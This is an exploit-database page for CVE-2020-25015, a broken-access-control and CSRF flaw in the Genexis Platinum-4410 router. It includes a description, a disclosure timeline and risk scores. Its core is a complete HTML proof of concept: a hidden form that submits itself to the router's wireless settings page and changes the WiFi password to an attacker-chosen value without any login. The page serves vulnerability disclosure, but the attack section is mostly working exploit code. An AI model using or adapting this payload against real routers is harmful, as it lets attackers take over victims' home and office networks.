Genexis Platinum-4410 P4410-V2-1.28 - Broken Access Control and CSRF

🗓️ 09 Nov 2020 00:00:00Reported by Jinson Varghese BehananType

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Genexis Platinum-4410 P4410-V2-1.28 router is vulnerable to Broken Access Control and CSRF, allowing remote WIFI password change

Reporter	Title	Published	Views	Family All 10
Circl	CVE-2020-25015	9 Nov 202023:40	–	circl
CVE	CVE-2020-25015	16 Sep 202017:34	–	cve
Cvelist	CVE-2020-25015	16 Sep 202017:34	–	cvelist
EUVD	EUVD-2020-17715	7 Oct 202500:30	–	euvd
NVD	CVE-2020-25015	16 Sep 202018:15	–	nvd
OSV	CVE-2020-25015	16 Sep 202018:15	–	osv
Packet Storm	Genexis Platinum-4410 P4410-V2-1.28 Missing Access Control / CSRF	9 Nov 202000:00	–	packetstorm
Prion	Improper access control	16 Sep 202018:15	–	prion
Positive Technologies	PT-2020-15890 · Genexis · Genexis Platinum 4410 V2	16 Sep 202000:00	–	ptsecurity
RedhatCVE	CVE-2020-25015	22 May 202517:54	–	redhatcve

# Exploit Title: Genexis Platinum-4410 P4410-V2-1.28 - Broken Access Control and CSRF
# Date: 28-08-2020
# Vendor Homepage: https://www.gxgroup.eu/ont-products/
# Exploit Author: Jinson Varghese Behanan (@JinsonCyberSec)
# Author Advisory: https://www.getastra.com/blog/911/csrf-broken-access-control-in-genexis-platinum-4410/
# Version: v2.1 (software version P4410-V2-1.28)
# CVE : CVE-2020-25015

1. Description

Platinum 4410 is a compact router from Genexis that is commonly used at homes and offices. Hardware version V2.1 – Software version P4410-V2-1.28 was found to be vulnerable to Broken Access Control and CSRF which could be combined to remotely change the WIFI access point’s password.

2. Impact

An attacker can send the victim a link, which if he clicks while he is connected to the WiFi network established from the vulnerable router, the password of the WIFI access point will get changed via CSRF exploit. As the router is also vulnerable to Broken Access Control, the victim does not need to be logged in to the router’s web-based setup page (192.168.1.1), essentially making this a one-click hack.

3. Proof of Concept

Create an HTML file with the following code:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/cgi-bin/net-wlan.asp" method="POST">
      <input type="hidden" name="wlEnbl" value="ON" />
      <input type="hidden" name="hwlKeys0" value="" />
      <input type="hidden" name="hwlKeys1" value="" />
      <input type="hidden" name="hwlKeys2" value="" />
      <input type="hidden" name="hwlKeys3" value="" />
      <input type="hidden" name="hwlgMode" value="9" />
      <input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" />
      <input type="hidden" name="hwlEnbl" value="1" />
      <input type="hidden" name="hWPSMode" value="1" />
      <input type="hidden" name="henableSsid" value="1" />
      <input type="hidden" name="hwlHide" value="0" />
      <input type="hidden" name="isInWPSing" value="0" />
      <input type="hidden" name="WpsConfModeAll" value="7" />
      <input type="hidden" name="WpsConfModeNone" value="0" />
      <input type="hidden" name="hWpsStart" value="0" />
      <input type="hidden" name="isCUCSupport" value="0" />
      <input type="hidden" name="SSIDPre" value="N&#47;A" />
      <input type="hidden" name="bwControlhidden" value="0" />
      <input type="hidden" name="ht&#95;bw" value="1" />
      <input type="hidden" name="wlgMode" value="b&#44;g&#44;n" />
      <input type="hidden" name="wlChannel" value="0" />
      <input type="hidden" name="wlTxPwr" value="1" />
      <input type="hidden" name="wlSsidIdx" value="0" />
      <input type="hidden" name="SSID&#95;Flag" value="0" />
      <input type="hidden" name="wlSsid" value="JINSON" />
      <input type="hidden" name="wlMcs" value="33" />
      <input type="hidden" name="bwControl" value="1" />
      <input type="hidden" name="giControl" value="1" />
      <input type="hidden" name="enableSsid" value="on" />
      <input type="hidden" name="wlAssociateNum" value="32" />
      <input type="hidden" name="wlSecurMode" value="WPAand11i" />
      <input type="hidden" name="wlPreauth" value="off" />
      <input type="hidden" name="wlNetReauth" value="1" />
      <input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" />
      <input type="hidden" name="cb&#95;enablshowpsw" value="on" />
      <input type="hidden" name="wlWpaGtkRekey" value="" />
      <input type="hidden" name="wlRadiusIPAddr" value="" />
      <input type="hidden" name="wlRadiusPort" value="" />
      <input type="hidden" name="wlRadiusKey" value="" />
      <input type="hidden" name="wlWpa" value="TKIPAES" />
      <input type="hidden" name="wlKeyBit" value="64" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="WpsActive" value="0" />
      <input type="hidden" name="wpsmode" value="ap&#45;pbc" />
      <input type="hidden" name="pinvalue" value="" />
      <input type="hidden" name="Save&#95;Flag" value="1" />
      <input type="submit" value="Submit request" />
    </form>
     <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Open this file in a browser while you are connected to the WIFI. There is no need for the victim to be logged in to the Router admin panel (192.168.1.1). It can be seen that the WIFI connection is dropped. To reconnect, forget the WIFI connection on your laptop or phone and connect using the newly changed password: NEWPASSWORD


4. PoC Video: https://www.youtube.com/watch?v=nSu5ANDH2Rk&feature=emb_title

3. Timeline

Vulnerability reported to the Genexis team – August 28, 2020
Team confirmed firmware release containing fix – September 14, 2020

09 Nov 2020 00:00Current

6.6Medium risk

Vulners AI Score6.6

CVSS 24.3

CVSS 3.16.5

EPSS0.00336